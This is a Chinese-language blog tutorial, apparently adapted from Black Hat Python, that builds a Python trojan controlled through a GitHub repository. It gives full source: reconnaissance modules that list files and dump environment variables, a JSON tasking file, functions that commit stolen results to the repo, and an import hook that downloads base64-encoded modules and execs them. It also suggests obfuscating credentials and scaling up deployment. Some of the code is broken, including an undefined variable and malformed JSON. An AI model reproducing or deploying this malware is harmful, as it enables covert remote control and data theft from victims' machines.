基于github的命令和控制

事前准备

模块名称

新建如上图片中文件夹,并同步到github。

config目录保存包含对应的每个木马被控端的配置文件。在安装木马的时候,可能需要不同的木马对控端执行不同的任务,这是可以通过修改对应的配置文件来实现。modules目录包含木马被控端所要下载和执行的所有模块代码。我们将修改python导入模块的机制,使得我们的木马可以直接从github的repo中导入python库,就不用下次再编译了。

data目录用来保存木马上传的数据。

创建模块

我们在modules里面进行开发,创建一些模块。先新建一个

dirlister.py:

1
2
3
4
5
6
7
8
9
# Run方法 

import os

def run(**args):
print "[*] In dirlister module"
files = os.listdir(".")

return str(files)

所有的模块都应该有一个统一的run函数,这样做的好处:一是可以是使用相同的方法加载模块,使用接口更加通用;二是提供了充分的可扩展能力。

environment.py

1
2
3
4
5
import os

def run(**args):
print "[*] In evnironment module"
return str(os.environ)

木马配置

我们需要对木马分配任务,在一定的时期内完成相应的工作。这意味着我们需要通过一种途径通知木马被控端需要完成什么样的工作及完成这些工作所需要的模块。使用配置文件能满足我们的需求,而且还能根据所需在需要的时候通过定制配置文件提供不同的参数,从而完成不同的任务。而且还能根据需要进行休眠(不分配任何任务)。你可以对安装的每个木马都分配一个唯一的标识符,这样你就可以对安装的每一个木马都分配一个唯一的标识符,这样可以对木马执行返回的数据进行分类,以及控制单个木马执行特定的任务。

我们配置config目录下的TROJANIN.json文件,并返回一个简单的JSON格式文档,我们可以对它进行解释并换成一个Python形式的字典,然后再使用它。同时,JSON格式的配置文件也非常便与我们对其中的选项进行修改。

config/abc.json

1
2
3
4
5
6
7
8
[
{
"module":"dirlister"
}
{
"module":"environment"
}
]

编写基于Github通信的木马

github的木马,它从GitHub上下载配置选项和运行的模块代码。第一步需要做的是编写调用Github API所需要的代码,来实现与github的连接、认证和通行的功能。

git_trojan.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()

def connect_to_github():
gh = login(username = "youusername", password = "youpassword")
repo = gh.repository("youusername", "trojan")
branch = repo.branch("master")

return gh, repo, branch

def get_file_contents(filepath):
gh, repo, branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()

for filepath in filename.path:
print "[*] Found file %s" % filepath
blob = repo.blob(filename._json_data['sha'])
return blob.content

return None

def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True

for task in config:
if task['module'] not in sys.modules
exec("import %s" % task['module'])
return config

def store_module_result(data):
gh, repo, branch = connect_to_github()
remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000,100000))
repo.create_file(remote_path, "Commit message", base64.b64encode(data))

return

这四个函数是用来交互的,在真实的场景中,需要对认证函数的代码进行混淆,避免账号口令的泄露。通过访问控制,需要设计每个木马可以有权访问项目中的相应位置,避免木马捕获后,对方可以通过你的账号登录并删除所有数据。get_file_contents 函数从远程repo中抓取文件,然后将文件内容读取到本地的变量中,在读取配置文件和模块的源码时会用到它。

我们接下来需要破解python模块的导入机制,实现从github的repo中远程导入文件。

python模块导入功能的破解

python 允许我们再导入模块的实现过程中插入我们自己的功能函数,如果在本地找不到需要模块,就会调用我们编写的用于导入的类,它允许我们远程获取repo中的模块并导入。

我们在上面的代码中添加一些内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class GitImporter(object):
def __init__(self):
self.current_module_code = ""
# 获取模块位置
def find_module(self, fullname, path = None):
if configured:
print "[*] Attemping to retrieve %s" % fullname
# 调用远程文件加载函数
new_library = get_file_contents("modules/%s" % fullname)
# 如果找到了
if new_library != None:
# base64解密保存
self.current_module_code = base64.b64decode(new_library)
return self
return None
def load_module(self, name):
#创建本地空对象
module = imp.new_module(name)
# 将代码导入这个对象中
exec self.current_module_code in module.__dict__
# 加入到sys.modules列表中
sys.modules[name] = module

return module

当python解析器尝试加载不存在的模块时,GitImporter类就会被调用。进行查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def module_runner(module):
task_queue.put(1)
result = sys.modules[module].run()
task_queue.get()
# 将结果推送到repo中
store_module_result(result)
return
# 木马的主循环
# 导入模块
sys.meta_path = [GitImporter()]
while True:
if task_queue.empty():
# 获取木马配置文件
config = get_trojan_config()
for task in config:
# 开启线程
t = threading.Thread(target = module_runner, args = (task['module'],))
t.start()
time.sleep(random.randint(1,10))
time.sleep(random.randint(1,10))

这只是一个初步的东西,后续可以对这个命令和控制技术的核心框架进行大量的改进和完善。如果你要在大范围内使用这个木马,还需要实现后端的自动管理,自动上传下载数据、更新配置和木马文件。后续还需要考虑如何让木马加载动态库和编译过的静态库来扩展功能。

-----本文结束感谢您的阅读-----
warcup wechat
欢迎扫描二维码关注我的公众号~~~
喜 欢 这 篇 文 章 吗 ?